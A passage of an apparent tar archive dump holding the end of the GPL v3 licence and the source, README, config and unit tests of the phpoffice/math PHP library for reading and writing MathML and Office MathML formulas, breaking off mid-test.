public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
vendor/phpoffice/phpword/.github_changelog_generator000066600000000140151150442730017030 0ustar00user=PHPOffice
project=PHPWord

since-tag=0.18.1
future-release=0.18.2

issues=false
pulls=true
vendor/phpoffice/math/src/Math/Writer/WriterInterface.php000066600000000220151150442730017477 0ustar00<?php

namespace PhpOffice\Math\Writer;

use PhpOffice\Math\Math;

interface WriterInterface
{
    public function write(Math $math): string;
}
vendor/phpoffice/math/src/Math/Writer/OfficeMathML.php000066600000005643151150442730016656 0ustar00<?php

namespace PhpOffice\Math\Writer;

use PhpOffice\Math\Element;
use PhpOffice\Math\Exception\NotImplementedException;
use PhpOffice\Math\Math;
use XMLWriter;

class OfficeMathML implements WriterInterface
{
    /** @var XMLWriter */
    private $output;

    /**
     * @param Math $math
     *
     * @return string
     */
    public function write(Math $math): string
    {
        $this->output = new XMLWriter();
        $this->output->openMemory();
        $this->output->startElement('m:oMathPara');
        $this->output->writeAttribute('xmlns:m', 'http://schemas.openxmlformats.org/officeDocument/2006/math');
        $this->output->startElement('m:oMath');

        foreach ($math->getElements() as $element) {
            $this->writeElementItem($element);
        }

        $this->output->endElement();
        $this->output->endElement();

        return $this->output->outputMemory();
    }

    protected function writeElementItem(Element\AbstractElement $element): void
    {
        // Element\Row
        if ($element instanceof Element\Row) {
            foreach ($element->getElements() as $childElement) {
                $this->writeElementItem($childElement);
            }

            return;
        }

        // Element\Fraction
        if ($element instanceof Element\Fraction) {
            $this->output->startElement($this->getElementTagName($element));
            $this->output->startElement('m:num');
            $this->writeElementItem($element->getNumerator());
            $this->output->endElement();
            $this->output->startElement('m:den');
            $this->writeElementItem($element->getDenominator());
            $this->output->endElement();
            $this->output->endElement();

            return;
        }

        if ($element instanceof Element\Identifier
          || $element instanceof Element\Numeric
          || $element instanceof Element\Operator) {
            $this->output->startElement('m:r');
            $this->output->startElement('m:t');
            $this->output->text((string) $element->getValue());
            $this->output->endElement();
            $this->output->endElement();

            return;
        }

        // Check if managed
        $this->getElementTagName($element);
    }

    protected function getElementTagName(Element\AbstractElement $element): string
    {
        // Group
        if ($element instanceof Element\AbstractGroupElement) {
            /*
            throw new NotImplementedException(sprintf(
                '%s : The element of the class `%s` has no tag name',
                __METHOD__,
                get_class($element)
            ));
            */
        }

        if ($element instanceof Element\Fraction) {
            return 'm:f';
        }

        throw new NotImplementedException(sprintf(
            '%s : The element of the class `%s` has no tag name',
            __METHOD__,
            get_class($element)
        ));
    }
}
vendor/phpoffice/math/src/Math/Writer/MathML.php000066600000007414151150442730015540 0ustar00<?php

namespace PhpOffice\Math\Writer;

use PhpOffice\Math\Element;
use PhpOffice\Math\Exception\NotImplementedException;
use PhpOffice\Math\Math;
use XMLWriter;

class MathML implements WriterInterface
{
    /** @var XMLWriter */
    private $output;

    /**
     * @param Math $math
     *
     * @return string
     */
    public function write(Math $math): string
    {
        $this->output = new XMLWriter();
        $this->output->openMemory();
        $this->output->startDocument('1.0', 'UTF-8');
        $this->output->writeDtd('math', '-//W3C//DTD MathML 2.0//EN', 'http://www.w3.org/Math/DTD/mathml2/mathml2.dtd');
        $this->output->startElement('math');
        $this->output->writeAttribute('xmlns', 'http://www.w3.org/1998/Math/MathML');

        foreach ($math->getElements() as $element) {
            $this->writeElementItem($element);
        }

        $this->output->endElement();
        $this->output->endDocument();

        return $this->output->outputMemory();
    }

    protected function writeElementItem(Element\AbstractElement $element): void
    {
        $tagName = $this->getElementTagName($element);

        // Element\AbstractGroupElement
        if ($element instanceof Element\AbstractGroupElement) {
            $this->output->startElement($tagName);
            foreach ($element->getElements() as $childElement) {
                $this->writeElementItem($childElement);
            }
            $this->output->endElement();

            return;
        }

        // Element\Superscript
        if ($element instanceof Element\Superscript) {
            $this->output->startElement($tagName);
            $this->writeElementItem($element->getBase());
            $this->writeElementItem($element->getSuperscript());
            $this->output->endElement();

            return;
        }

        // Element\Fraction
        if ($element instanceof Element\Fraction) {
            $this->output->startElement($tagName);
            $this->writeElementItem($element->getNumerator());
            $this->writeElementItem($element->getDenominator());
            $this->output->endElement();

            return;
        }

        if ($element instanceof Element\Identifier
          || $element instanceof Element\Numeric
          || $element instanceof Element\Operator) {
            $this->output->startElement($tagName);
            $this->output->text((string) $element->getValue());
            $this->output->endElement();

            return;
        }

        /*
        throw new NotImplementedException(sprintf(
            '%s : The class `%s` is not implemented',
            __METHOD__,
            get_class($element)
        ));
        */
    }

    protected function getElementTagName(Element\AbstractElement $element): string
    {
        // Group
        if ($element instanceof Element\Row) {
            return 'mrow';
        }
        if ($element instanceof Element\AbstractGroupElement) {
            /*
            throw new NotImplementedException(sprintf(
                '%s : The element of the class `%s` has no tag name',
                __METHOD__,
                get_class($element)
            ));
            */
        }

        if ($element instanceof Element\Superscript) {
            return 'msup';
        }
        if ($element instanceof Element\Fraction) {
            return 'mfrac';
        }
        if ($element instanceof Element\Identifier) {
            return 'mi';
        }
        if ($element instanceof Element\Numeric) {
            return 'mn';
        }
        if ($element instanceof Element\Operator) {
            return 'mo';
        }

        throw new NotImplementedException(sprintf(
            '%s : The element of the class `%s` has no tag name',
            __METHOD__,
            get_class($element)
        ));
    }
}
vendor/phpoffice/math/src/Math/Element/Fraction.php000066600000001601151150442730016270 0ustar00<?php

namespace PhpOffice\Math\Element;

class Fraction extends AbstractElement
{
    /**
     * @var AbstractElement
     */
    protected $denominator;

    /**
     * @var AbstractElement
     */
    protected $numerator;

    public function __construct(AbstractElement $numerator, AbstractElement $denominator)
    {
        $this->setNumerator($numerator);
        $this->setDenominator($denominator);
    }

    public function getDenominator(): AbstractElement
    {
        return $this->denominator;
    }

    public function getNumerator(): AbstractElement
    {
        return $this->numerator;
    }

    public function setDenominator(AbstractElement $element): self
    {
        $this->denominator = $element;

        return $this;
    }

    public function setNumerator(AbstractElement $element): self
    {
        $this->numerator = $element;

        return $this;
    }
}
vendor/phpoffice/math/src/Math/Element/AbstractGroupElement.php000066600000001254151150442730020621 0ustar00<?php

namespace PhpOffice\Math\Element;

abstract class AbstractGroupElement extends AbstractElement
{
    /**
     * @var AbstractElement[]
     */
    protected $elements = [];

    public function add(AbstractElement $element): self
    {
        $this->elements[] = $element;

        return $this;
    }

    public function remove(AbstractElement $element): self
    {
        $this->elements = array_filter($this->elements, function ($child) use ($element) {
            return $child != $element;
        });

        return $this;
    }

    /**
     * @return AbstractElement[]
     */
    public function getElements(): array
    {
        return $this->elements;
    }
}
vendor/phpoffice/math/src/Math/Element/Semantics.php000066600000001200151150442730016444 0ustar00<?php

declare(strict_types=1);

namespace PhpOffice\Math\Element;

class Semantics extends AbstractGroupElement
{
    /**
     * @var array<string, string>
     */
    protected $annotations = [];

    public function addAnnotation(string $encoding, string $annotation): self
    {
        $this->annotations[$encoding] = $annotation;

        return $this;
    }

    public function getAnnotation(string $encoding): ?string
    {
        return $this->annotations[$encoding] ?? null;
    }

    /**
     * @return array<string, string>
     */
    public function getAnnotations(): array
    {
        return $this->annotations;
    }
}
vendor/phpoffice/math/src/Math/Element/Identifier.php000066600000000474151150442730016614 0ustar00<?php

namespace PhpOffice\Math\Element;

class Identifier extends AbstractElement
{
    /**
     * @var string
     */
    protected $value;

    public function __construct(string $value)
    {
        $this->value = $value;
    }

    public function getValue(): string
    {
        return $this->value;
    }
}
vendor/phpoffice/math/src/Math/Element/AbstractElement.php000066600000000115151150442730017577 0ustar00<?php

namespace PhpOffice\Math\Element;

abstract class AbstractElement
{
}
vendor/phpoffice/math/src/Math/Element/Numeric.php000066600000000466151150442730016135 0ustar00<?php

namespace PhpOffice\Math\Element;

class Numeric extends AbstractElement
{
    /**
     * @var float
     */
    protected $value;

    public function __construct(float $value)
    {
        $this->value = $value;
    }

    public function getValue(): float
    {
        return $this->value;
    }
}
vendor/phpoffice/math/src/Math/Element/Row.php000066600000000125151150442730015272 0ustar00<?php

namespace PhpOffice\Math\Element;

class Row extends AbstractGroupElement
{
}
vendor/phpoffice/math/src/Math/Element/Operator.php000066600000000472151150442730016323 0ustar00<?php

namespace PhpOffice\Math\Element;

class Operator extends AbstractElement
{
    /**
     * @var string
     */
    protected $value;

    public function __construct(string $value)
    {
        $this->value = $value;
    }

    public function getValue(): string
    {
        return $this->value;
    }
}
vendor/phpoffice/math/src/Math/Element/Superscript.php000066600000001534151150442730017053 0ustar00<?php

namespace PhpOffice\Math\Element;

class Superscript extends AbstractElement
{
    /**
     * @var AbstractElement
     */
    protected $base;

    /**
     * @var AbstractElement
     */
    protected $superscript;

    public function __construct(AbstractElement $base, AbstractElement $superscript)
    {
        $this->setBase($base);
        $this->setSuperscript($superscript);
    }

    public function getBase(): AbstractElement
    {
        return $this->base;
    }

    public function getSuperscript(): AbstractElement
    {
        return $this->superscript;
    }

    public function setBase(AbstractElement $element): self
    {
        $this->base = $element;

        return $this;
    }

    public function setSuperscript(AbstractElement $element): self
    {
        $this->superscript = $element;

        return $this;
    }
}
vendor/phpoffice/math/src/Math/Reader/ReaderInterface.php000066600000000223151150442730017356 0ustar00<?php

namespace PhpOffice\Math\Reader;

use PhpOffice\Math\Math;

interface ReaderInterface
{
    public function read(string $content): ?Math;
}
vendor/phpoffice/math/src/Math/Reader/OfficeMathML.php000066600000011105151150442730016572 0ustar00<?php

namespace PhpOffice\Math\Reader;

use DOMDocument;
use DOMNode;
use DOMXPath;
use PhpOffice\Math\Element;
use PhpOffice\Math\Exception\InvalidInputException;
use PhpOffice\Math\Exception\NotImplementedException;
use PhpOffice\Math\Math;

class OfficeMathML implements ReaderInterface
{
    /** @var DOMDocument */
    protected $dom;

    /** @var Math */
    protected $math;

    /** @var DOMXPath */
    protected $xpath;

    /** @var string[] */
    protected $operators = ['+', '-', '/', '∗'];

    public function read(string $content): ?Math
    {
        $nsMath = 'xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"';
        $nsWord = 'xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"';

        $content = str_replace(
            $nsMath,
            $nsMath . ' ' . $nsWord,
            $content
        );

        $this->dom = new DOMDocument();
        $this->dom->loadXML($content);

        $this->math = new Math();
        $this->parseNode(null, $this->math);

        return $this->math;
    }

    /**
     * @see https://devblogs.microsoft.com/math-in-office/officemath/
     * @see https://learn.microsoft.com/fr-fr/archive/blogs/murrays/mathml-and-ecma-math-omml
     *
     * @param Math|Element\AbstractGroupElement $parent
     */
    protected function parseNode(?DOMNode $nodeRowElement, $parent): void
    {
        $this->xpath = new DOMXPath($this->dom);
        foreach ($this->xpath->query('*', $nodeRowElement) ?: [] as $nodeElement) {
            $element = $this->getElement($nodeElement);
            $parent->add($element);

            if ($element instanceof Element\AbstractGroupElement) {
                $this->parseNode($nodeElement, $element);
            }
        }
    }

    protected function getElement(DOMNode $nodeElement): Element\AbstractElement
    {
        switch ($nodeElement->nodeName) {
            case 'm:f':
                // Numerator
                $nodeNumerator = $this->xpath->query('m:num/m:r/m:t', $nodeElement);
                if ($nodeNumerator && $nodeNumerator->length == 1) {
                    $value = $nodeNumerator->item(0)->nodeValue;
                    if (is_numeric($value)) {
                        $numerator = new Element\Numeric(floatval($value));
                    } else {
                        $numerator = new Element\Identifier($value);
                    }
                } else {
                    throw new InvalidInputException(sprintf(
                        '%s : The tag `%s` has no numerator defined',
                        __METHOD__,
                        $nodeElement->nodeName
                    ));
                }
                // Denominator
                $nodeDenominator = $this->xpath->query('m:den/m:r/m:t', $nodeElement);
                if ($nodeDenominator && $nodeDenominator->length == 1) {
                    $value = $nodeDenominator->item(0)->nodeValue;
                    if (is_numeric($value)) {
                        $denominator = new Element\Numeric(floatval($value));
                    } else {
                        $denominator = new Element\Identifier($value);
                    }
                } else {
                    throw new InvalidInputException(sprintf(
                        '%s : The tag `%s` has no denominator defined',
                        __METHOD__,
                        $nodeElement->nodeName
                    ));
                }

                return new Element\Fraction($numerator, $denominator);
            case 'm:r':
                $nodeText = $this->xpath->query('m:t', $nodeElement);
                if ($nodeText && $nodeText->length == 1) {
                    $value = trim($nodeText->item(0)->nodeValue);
                    if (in_array($value, $this->operators)) {
                        return new Element\Operator($value);
                    }
                    if (is_numeric($value)) {
                        return new Element\Numeric(floatval($value));
                    }

                    return new Element\Identifier($value);
                }

                throw new InvalidInputException(sprintf(
                    '%s : The tag `%s` has no tag `m:t` defined',
                    __METHOD__,
                    $nodeElement->nodeName
                ));
            case 'm:oMath':
                return new Element\Row();
            default:
                throw new NotImplementedException(sprintf(
                    '%s : The tag `%s` is not implemented',
                    __METHOD__,
                    $nodeElement->nodeName
                ));
        }
    }
}
vendor/phpoffice/math/src/Math/Reader/MathML.php000066600000010500151150442730015454 0ustar00<?php

namespace PhpOffice\Math\Reader;

use DOMDocument;
use DOMElement;
use DOMNode;
use DOMXPath;
use PhpOffice\Math\Element;
use PhpOffice\Math\Exception\InvalidInputException;
use PhpOffice\Math\Exception\NotImplementedException;
use PhpOffice\Math\Math;

class MathML implements ReaderInterface
{
    /** @var Math */
    private $math;

    /** @var DOMDocument */
    private $dom;

    /** @var DOMXPath */
    private $xpath;

    public function read(string $content): ?Math
    {
        $content = str_replace(
            [
                '&InvisibleTimes;',
            ],
            [
                '<mchar name="InvisibleTimes"/>',
            ],
            $content
        );

        $this->dom = new DOMDocument();
        $this->dom->loadXML($content, LIBXML_DTDLOAD);

        $this->math = new Math();
        $this->parseNode(null, $this->math);

        return $this->math;
    }

    /**
     * @param Math|Element\AbstractGroupElement $parent
     */
    protected function parseNode(?DOMNode $nodeRowElement, $parent): void
    {
        $this->xpath = new DOMXPath($this->dom);
        foreach ($this->xpath->query('*', $nodeRowElement) ?: [] as $nodeElement) {
            if ($parent instanceof Element\Semantics
                && $nodeElement instanceof DOMElement
                && $nodeElement->nodeName == 'annotation') {
                $parent->addAnnotation(
                    $nodeElement->getAttribute('encoding'),
                    trim($nodeElement->nodeValue)
                );

                continue;
            }

            $parent->add($this->getElement($nodeElement));
        }
    }

    protected function getElement(DOMNode $nodeElement): Element\AbstractElement
    {
        $nodeValue = trim($nodeElement->nodeValue);
        switch ($nodeElement->nodeName) {
            case 'mfrac':
                $nodeList = $this->xpath->query('*', $nodeElement);
                if ($nodeList && $nodeList->length == 2) {
                    return new Element\Fraction(
                        $this->getElement($nodeList->item(0)),
                        $this->getElement($nodeList->item(1))
                    );
                }

                throw new InvalidInputException(sprintf(
                    '%s : The tag `%s` has not two subelements',
                    __METHOD__,
                    $nodeElement->nodeName
                ));
            case 'mi':
                return new Element\Identifier($nodeValue);
            case 'mn':
                return new Element\Numeric(floatval($nodeValue));
            case 'mo':
                if (empty($nodeValue)) {
                    $nodeList = $this->xpath->query('*', $nodeElement);
                    if (
                        $nodeList
                        && $nodeList->length == 1
                        && $nodeList->item(0)->nodeName == 'mchar'
                        && $nodeList->item(0) instanceof DOMElement
                        && $nodeList->item(0)->hasAttribute('name')
                    ) {
                        $nodeValue = $nodeList->item(0)->getAttribute('name');
                    }
                }

                return new Element\Operator($nodeValue);
            case 'mrow':
                $mrow = new Element\Row();

                $this->parseNode($nodeElement, $mrow);

                return $mrow;
            case 'msup':
                $nodeList = $this->xpath->query('*', $nodeElement);
                if ($nodeList && $nodeList->length == 2) {
                    return new Element\Superscript(
                        $this->getElement($nodeList->item(0)),
                        $this->getElement($nodeList->item(1))
                    );
                }

                throw new InvalidInputException(sprintf(
                    '%s : The tag `%s` has not two subelements',
                    __METHOD__,
                    $nodeElement->nodeName
                ));
            case 'semantics':
                $semantics = new Element\Semantics();

                $this->parseNode($nodeElement, $semantics);

                return $semantics;
            default:
                throw new NotImplementedException(sprintf(
                    '%s : The tag `%s` is not implemented',
                    __METHOD__,
                    $nodeElement->nodeName
                ));
        }
    }
}
vendor/phpoffice/math/src/Math/Math.php000066600000000200151150442730014015 0ustar00<?php

namespace PhpOffice\Math;

use PhpOffice\Math\Element\AbstractGroupElement;

class Math extends AbstractGroupElement
{
}
vendor/phpoffice/math/src/Math/Exception/MathException.php000066600000000146151150442730017643 0ustar00<?php

namespace PhpOffice\Math\Exception;

use Exception;

class MathException extends Exception
{
}
vendor/phpoffice/math/src/Math/Exception/NotImplementedException.php000066600000000144151150442730021674 0ustar00<?php

namespace PhpOffice\Math\Exception;

class NotImplementedException extends MathException
{
}
vendor/phpoffice/math/src/Math/Exception/InvalidInputException.php000066600000000142151150442730021354 0ustar00<?php

namespace PhpOffice\Math\Exception;

class InvalidInputException extends MathException
{
}
vendor/phpoffice/math/README.md000066600000006323151150442730012226 0ustar00# Math

[![Latest Stable Version](https://poser.pugx.org/phpoffice/math/v/stable.png)](https://packagist.org/packages/phpoffice/math)
[![Coverage Status](https://coveralls.io/repos/github/PHPOffice/Math/badge.svg?branch=master)](https://coveralls.io/github/PHPOffice/Math?branch=master)
[![Total Downloads](https://poser.pugx.org/phpoffice/math/downloads.png)](https://packagist.org/packages/phpoffice/math)
[![License](https://poser.pugx.org/phpoffice/math/license.png)](https://packagist.org/packages/phpoffice/math)
[![CI](https://github.com/PHPOffice/Math/actions/workflows/php.yml/badge.svg)](https://github.com/PHPOffice/Math/actions/workflows/php.yml)

Math is a library written in pure PHP that provides a set of classes to manipulate different formula file formats, i.e. [MathML](https://en.wikipedia.org/wiki/MathML) and [Office MathML (OOML)](https://en.wikipedia.org/wiki/Office_Open_XML_file_formats#Office_MathML_(OMML)).

Math is an open source project licensed under the terms of [MIT](https://github.com/PHPOffice/Math/blob/master/LICENCE). Math is aimed to be a high quality software product by incorporating [continuous integration and unit testing](https://github.com/PHPOffice/Math/actions/workflows/php.yml). You can learn more about Math by reading this Developers'Documentation and the [API Documentation](http://phpoffice.github.io/Math/docs/)

If you have any questions, please ask on [StackOverFlow](https://stackoverflow.com/questions/tagged/phpoffice-math)

Read more about Math:

- [Features](#features)
- [Requirements](#requirements)
- [Installation](#installation)
- [Contributing](#contributing)
- [Developers' Documentation](https://phpoffice.github.io/Math/)

## Features

- Insert elements:

    * Basic :

        * Identifier : <math display="inline"><mi>a</mi></math>
        * Operator : <math display="inline"><mo>+</mo></math>
        * Numeric : <math display="inline"><mn>2</mn></math>

    * Simple :
    
        * Fraction : <math display="inline"><mfrac><mi>a</mi><mn>3</mn></mfrac></math>
        * Superscript : <math display="inline"><msup><mi>a</mi><mn>3</mn></msup></math>

    * Architectural :

        * Row
        * Semantics

- Support

    * MathML
    * OfficeMathML
## Requirements

Math requires the following:

- PHP 7.1+
- [XML Parser extension](http://www.php.net/manual/en/xml.installation.php)
- [XMLWriter extension](http://php.net/manual/en/book.xmlwriter.php)

## Installation

Math is installed via [Composer](https://getcomposer.org/).
To [add a dependency](https://getcomposer.org/doc/04-schema.md#package-links) to Math in your project, either

Run the following to use the latest stable version
```sh
composer require phpoffice/math
```
or if you want the latest unreleased version
```sh
composer require phpoffice/math:dev-master
```

## Contributing

We welcome everyone to contribute to PHPWord. Below are some of the things that you can do to contribute.

- [Fork us](https://github.com/PHPOffice/Math/fork) and [request a pull](https://github.com/PHPOffice/Math/pulls) to the [master](https://github.com/PHPOffice/Math/tree/master) branch.
- Submit [bug reports or feature requests](https://github.com/PHPOffice/Math/issues) to GitHub.
- Follow [@PHPOffice](https://twitter.com/PHPOffice) on Twitter.
vendor/phpoffice/math/phpstan.neon.dist000066600000000340151150442730014240 0ustar00parameters:
  level: 7
  bootstrapFiles:
    - vendor/autoload.php
  paths:
    - src
    - tests
  reportUnmatchedIgnoredErrors: false
  ignoreErrors:

  ## Remove after remove ArrayObject
  treatPhpDocTypesAsCertain: falsevendor/phpoffice/math/tests/Math/Writer/WriterTestCase.php000066600000004563151150442730017703 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Writer;

use DOMDocument;
use LibXMLError;
use PHPUnit\Framework\TestCase;

class WriterTestCase extends TestCase
{
    public function assertIsSchemaMathMLValid(string $content): void
    {
        $dom = new DOMDocument();
        $dom->loadXML($content);
        $xmlSource = $dom->saveXML();

        if (is_string($xmlSource)) {
            $dom->loadXML($xmlSource);
            $dom->schemaValidate(dirname(__DIR__, 2) . '/resources/schema/mathml3/mathml3.xsd');

            $error = libxml_get_last_error();
            if ($error instanceof LibXMLError) {
                $this->failXmlError($error, $xmlSource);
            } else {
                $this->assertTrue(true);
            }

            return;
        }

        $this->fail(sprintf('The XML is not valid : %s', $content));
    }

    /**
     * @param array<string, string> $params
     */
    protected function failXmlError(LibXMLError $error, string $source, array $params = []): void
    {
        switch ($error->level) {
            case LIBXML_ERR_WARNING:
                $errorType = 'warning';
                break;
            case LIBXML_ERR_ERROR:
                $errorType = 'error';
                break;
            case LIBXML_ERR_FATAL:
                $errorType = 'fatal';
                break;
            default:
                $errorType = 'Error';
                break;
        }
        $errorLine = (int) $error->line;
        $contents = explode("\n", $source);
        $lines = [];
        if (isset($contents[$errorLine - 2])) {
            $lines[] = '>> ' . $contents[$errorLine - 2];
        }
        if (isset($contents[$errorLine - 1])) {
            $lines[] = '>>> ' . $contents[$errorLine - 1];
        }
        if (isset($contents[$errorLine])) {
            $lines[] = '>> ' . $contents[$errorLine];
        }
        $paramStr = '';
        if (!empty($params)) {
            $paramStr .= "\n" . ' - Parameters :' . "\n";
            foreach ($params as $key => $val) {
                $paramStr .= '   - ' . $key . ' : ' . $val . "\n";
            }
        }
        $this->fail(sprintf(
            "Validation %s :\n - - Line : %s\n - Message : %s - Lines :\n%s%s",
            $errorType,
            $error->line,
            $error->message,
            implode(PHP_EOL, $lines),
            $paramStr
        ));
    }
}
vendor/phpoffice/math/tests/Math/Writer/MathMLTest.php000066600000006525151150442730016755 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Writer;

use PhpOffice\Math\Element;
use PhpOffice\Math\Exception\NotImplementedException;
use PhpOffice\Math\Math;
use PhpOffice\Math\Writer\MathML;

class MathMLTest extends WriterTestCase
{
    public function testWrite(): void
    {
        $opTimes = new Element\Operator('&InvisibleTimes;');

        $math = new Math();

        $row = new Element\Row();
        $math->add($row);

        $row->add(new Element\Identifier('a'));
        $row->add(clone $opTimes);

        $superscript = new Element\Superscript(
            new Element\Identifier('x'),
            new Element\Numeric(2)
        );
        $row->add($superscript);

        $row->add(new Element\Operator('+'));

        $row->add(new Element\Identifier('b'));
        $row->add(clone $opTimes);
        $row->add(new Element\Identifier('x'));

        $row->add(new Element\Operator('+'));

        $row->add(new Element\Identifier('c'));

        $writer = new MathML();
        $output = $writer->write($math);

        $expected = '<?xml version="1.0" encoding="UTF-8"?>'
            . PHP_EOL
            . '<!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">'
            . '<math xmlns="http://www.w3.org/1998/Math/MathML">'
            . '<mrow><mi>a</mi><mo>&amp;InvisibleTimes;</mo><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mi>b</mi><mo>&amp;InvisibleTimes;</mo><mi>x</mi><mo>+</mo><mi>c</mi>'
            . '</mrow>'
            . '</math>'
            . PHP_EOL;
        $this->assertEquals($expected, $output);
        $this->assertIsSchemaMathMLValid($output);
    }

    public function testWriteFraction(): void
    {
        $math = new Math();

        $fraction = new Element\Fraction(
            new Element\Identifier('π'),
            new Element\Numeric(2)
        );
        $math->add($fraction);

        $writer = new MathML();
        $output = $writer->write($math);

        $expected = '<?xml version="1.0" encoding="UTF-8"?>'
            . PHP_EOL
            . '<!DOCTYPE math PUBLIC "-//W3C//DTD MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/mathml2.dtd">'
            . '<math xmlns="http://www.w3.org/1998/Math/MathML">'
            . '<mfrac>'
            . '<mi>π</mi><mn>2</mn>'
            . '</mfrac>'
            . '</math>'
            . PHP_EOL;
        $this->assertEquals($expected, $output);
        $this->assertIsSchemaMathMLValid($output);
    }

    public function testWriteNotImplemented(): void
    {
        $this->expectException(NotImplementedException::class);
        if (method_exists($this, 'expectExceptionMessageRegExp')) {
            $this->expectExceptionMessageRegExp('/PhpOffice\\\Math\\\Writer\\\MathML::getElementTagName : The element of the class/');
            $this->expectExceptionMessageRegExp('/has no tag name/');
        } else {
            // @phpstan-ignore-next-line
            $this->expectExceptionMessageMatches('/PhpOffice\\\Math\\\Writer\\\MathML::getElementTagName : The element of the class/');
            // @phpstan-ignore-next-line
            $this->expectExceptionMessageMatches('/has no tag name/');
        }

        $math = new Math();

        $object = new class extends Element\AbstractElement {};
        $math->add($object);

        $writer = new MathML();
        $output = $writer->write($math);
    }
}
vendor/phpoffice/math/tests/Math/Writer/OfficeMathMLTest.php000066600000004660151150442730020067 0ustar00<?php

declare(strict_types=1);

namespace Tests\PhpOffice\Math\Writer;

use PhpOffice\Math\Element;
use PhpOffice\Math\Exception\NotImplementedException;
use PhpOffice\Math\Math;
use PhpOffice\Math\Writer\OfficeMathML;

class OfficeMathMLTest extends WriterTestCase
{
    public function testWriteFraction(): void
    {
        $math = new Math();

        $fraction = new Element\Fraction(
            new Element\Identifier('π'),
            new Element\Numeric(2)
        );
        $math->add($fraction);

        $writer = new OfficeMathML();
        $output = $writer->write($math);

        $expected = '<m:oMathPara xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">'
            . '<m:oMath>'
            . '<m:f>'
            . '<m:num><m:r><m:t>π</m:t></m:r></m:num>'
            . '<m:den><m:r><m:t>2</m:t></m:r></m:den>'
            . '</m:f>'
            . '</m:oMath>'
            . '</m:oMathPara>';
        $this->assertEquals($expected, $output);
    }

    public function testWriteRow(): void
    {
        $math = new Math();

        $row = new Element\Row();
        $math->add($row);

        $row->add(new Element\Identifier('x'));

        $writer = new OfficeMathML();
        $output = $writer->write($math);

        $expected = '<m:oMathPara xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math">'
            . '<m:oMath>'
            . '<m:r><m:t>x</m:t></m:r>'
            . '</m:oMath>'
            . '</m:oMathPara>';
        $this->assertEquals($expected, $output);
    }

    public function testWriteNotImplemented(): void
    {
        $this->expectException(NotImplementedException::class);
        if (method_exists($this, 'expectExceptionMessageRegExp')) {
